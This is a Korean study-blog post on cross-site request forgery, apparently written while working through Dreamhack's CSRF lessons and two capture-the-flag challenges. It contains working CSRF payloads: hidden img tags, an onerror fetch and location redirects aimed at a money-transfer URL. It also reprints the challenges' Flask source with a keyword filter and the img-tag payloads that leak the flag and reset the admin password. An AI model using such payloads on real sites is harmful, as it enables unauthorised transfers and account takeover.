코로나 이슈+계절 기말로 오랜만에 들어왔습네다 ㅎ.. ㅠ
이용자를 속여 의도치 않은 요청에 동의하게 하는 공격,
임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점
->이용자의 권한으로 서비스 기능 사용해 이득 취할 수 o
예시
# 이용자가 /sendmoney에 접속
@app.route('/sendmoney')
def sendmoney(name):
# 송금을 받는 사람과 금액을 입력받음.
to_user = request.args.get('to')
amount = int(request.args.get('amount'))
# request.args.get('~~'): ~~에 해당하는 것을 입력(받을 수) 있음
# 매번 나오는 거니까 확실하게 해두자
# 송금 기능 실행 후, 결과 반환
success_status = send_money(to_user, amount)
if success_status:
return "Send success."
else:
return "Send fail."
이때의 문제점: 인증 정보 x 기능 수행
공격 시나리오
<img src="/sendmoney?to=dreamhack&amount=100000">
<img src=1 onerror="fetch('/sendmoney?to=dreamhack&amount=100000');">
# fetch(url): GET 요청
<link rel="stylesheet" href="/sendmoney?to=dreamhack&amount=1337">
# href="url"라는 링크가 현재 html의 stylesheet이라는 뜻 (rel=relation)
CSRF 공격의 성공?
공격자가 작성한 악성 스크립트(HTTP 요청 보내는 코드)를 실행해야함
->메일, 게시판 글 작성을 통한 이용자의 조회 유도 방법
HTTP 헤더의 Cookie에 이용자의 인증 정보가 포함될 수 있기 위해 사용하는 태그
1. img 태그: 이미지를 불러옴
2. form 태그: 웹 페이지에 입력된 양식을 전송
# html img 태그 공격
<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px>
# width, height을 0으로 설정->보이지 x 이용자 몰래 요청 가능
/* Javascript에서 새 창 띄우기 */
window.open('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
/* Javascript에서 현재 창의 주소 옮기기 */
/* href: 현재 접속 중인 페이지 정보, 값 변경 가능->다른 페이지로 이동 가능 */
location.href = 'http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337';
/* 주어진 링크로 현재 창의 주소 옮기기 */
/*기존에 있는 페이지를 새로운 페이지로 변경시킴*/
location.replace('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
/*location.href='~~~~'*/
/*location.replace('~~~')*/
공통점:
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
# Flask 객체 생성, 현재 모듈의 이름을 Flask에 전달하여 객체 생성
app.secret_key = os.urandom(32)
# Flask의 비밀 키 설정, os.urandom(32): 운영체제에서 안전한 난수 생성 (32바이트)
try:
FLAG = open("./flag.txt", "r").read()
# flag.txt 파일을 r (읽기모드)로 열기 위한 파일 객체 반환 -> read()로 파일 읽어줌
except:
# 예외 발생시 실행, FLAG 변수에 [**FLAG**] 문자열 할당
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
# read_url 함수 정의, 매개변수는 url과 cookie이고 cookie는 기본 값으로 {"name": "name", "value": "value"}를 가짐
cookie.update({"domain": "127.0.0.1"})
#cookie의 딕셔너리에 {"domain": "127.0.0.1"} 추가
try:
options = webdriver.ChromeOptions()
#크롬 브라우저 옵션 설정하는 객체 생성
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
#미리 정의된 옵션 추가 (브라우저 헤드리스 모드 실행, 화면 크기, GPU 사용 등)
driver = webdriver.Chrome("/chromedriver", options=options)
# chromedriver를 사용해 webdriver객체 생성
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
# driver.get("http://127.0.0.1:8000/"): webdriver로 "http://127.0.0.1:8000/" 방문
driver.add_cookie(cookie)
전달된 쿠키 webdriver에 추가
driver.get(url)
except Exception as e:
driver.quit()
print(str(e))
# return str(e)
return False
driver.quit()
return True
def check_csrf(param, cookie={"name": "name", "value": "value"}):
#check_csrf 함수 정의, 매개변수 param, cookie
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
#urllib.parse.quote(~~):~~를 url 인코딩 시켜줌
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
# 매개변수를 소문자로 변환해서 전달
xss_filter = ["frame", "script", "on"]
# xss_filter로 frame, script, on이 포함되는 경우 필터링
for _ in xss_filter:
param = param.replace(_, "*")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
# GET 메소드인경우
return render_template("flag.html")
elif request.method == "POST":
# POST 메소드인경우
param = request.form.get("param", "")
if not check_csrf(param):
#CSRF 공격이 확인되지 않은 경우
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", None)
if text:
memo_text += text
return render_template("memo.html", memo=memo_text)
@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
#127.0.0.1이 아닌 로컬호스트인 경우 차단
return "Access Denied"
if request.args.get("userid", "") != "admin":
#userID가 admin이 아닌 경우에도 차단
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
# 127.0.0.1이고 userid가 admin이라면 flag를 메모에 추가!
return "Ok"
app.run(host="0.0.0.0", port=8000)
코드는 살펴보았으니 페이지에 들어가서 살펴보자
vuln(csrf) page에 처음으로 들어가보면

script가 * 로 필터링이 되어있다.
memo 페이지는 이전 XSS과 같고,
notice flag 페이지가 추가되었다.
vuln(csrf) page에서 테스트해보고
flag 페이지에 들어가서 CSRF 공격을 수행하면 되는 듯 하다.
frame, script, on 이것들은 필터링되니 이것들을 사용하지 않거나,
아니면 우회하는 방법으로 공격을 하면 될 것 같다.
참고로 소문자로 변환하니까 ScriPT 이런식으로는 안된다.
그냥 편하게 img 태그 써야겠다.
/admin/notice_flag에
memo_text += f"[Notice] flag is {FLAG}\n"
# 127.0.0.1이고 userid가 admin이라면 flag를 메모에 추가!
이게 있었는데 img 태그의 url을 /admin/notice_flag로 해놓고, userid가 admin이라는 것을 넣어 짜주었더니
<img src="http://127.0.0.1:8000/admin/notice_flag?userid=admin">
메모장에 flag가 출력이 되었다.

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
users = {
'guest': 'guest',
'admin': FLAG
}
# users를 살펴보면 guest:guest로 로그인 할 수 있다.
session_storage = {}
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
print(str(e))
# return str(e)
return False
driver.quit()
return True
# 7월 18일에 코드가 바꼈다고 함 !
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
session_id = request.cookies.get('sessionid', None)
# request.cookies.get: 쿠키 값 불러오기
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
# username이 admin이라면 FLAG 출력
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
session_id = os.urandom(16).hex()
# 세션 아이디는 무작위로 16바이트 길이로 설정
session_storage[session_id] = 'admin'
if not check_csrf(param, {"name":"sessionid", "value": session_id}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
#username, password 받아오기
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
#make_response: 플라스크로 서버 동작 시킬 때
session_id = os.urandom(8).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
@app.route("/change_password")
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
users[username] = pw
return 'Done'
app.run(host="0.0.0.0", port=8000)
기본으로 보이는 페이지는
vuln(csrf) page
flag
login
이 3개.
vuln(csrf) page, flag는 아까랑 같다.
login 페이지에 들어가서 일단 아는 아이디 비번 guest:guest를 입력해주자
그러면

/change_password는 직접 검색을 해야 들어갈 수 있다. (로그인 한 상태에서!)
로그인 안했으면 index page만 보임
/change_password 코드에서 pw 바꿀 수 있게끔 만들어놨다.
<img src="http://127.0.0.1:8000/change_password?pw=1234">
그래서 pw를 1234로 바꾼 후, admin으로 로그인해줬더니

성공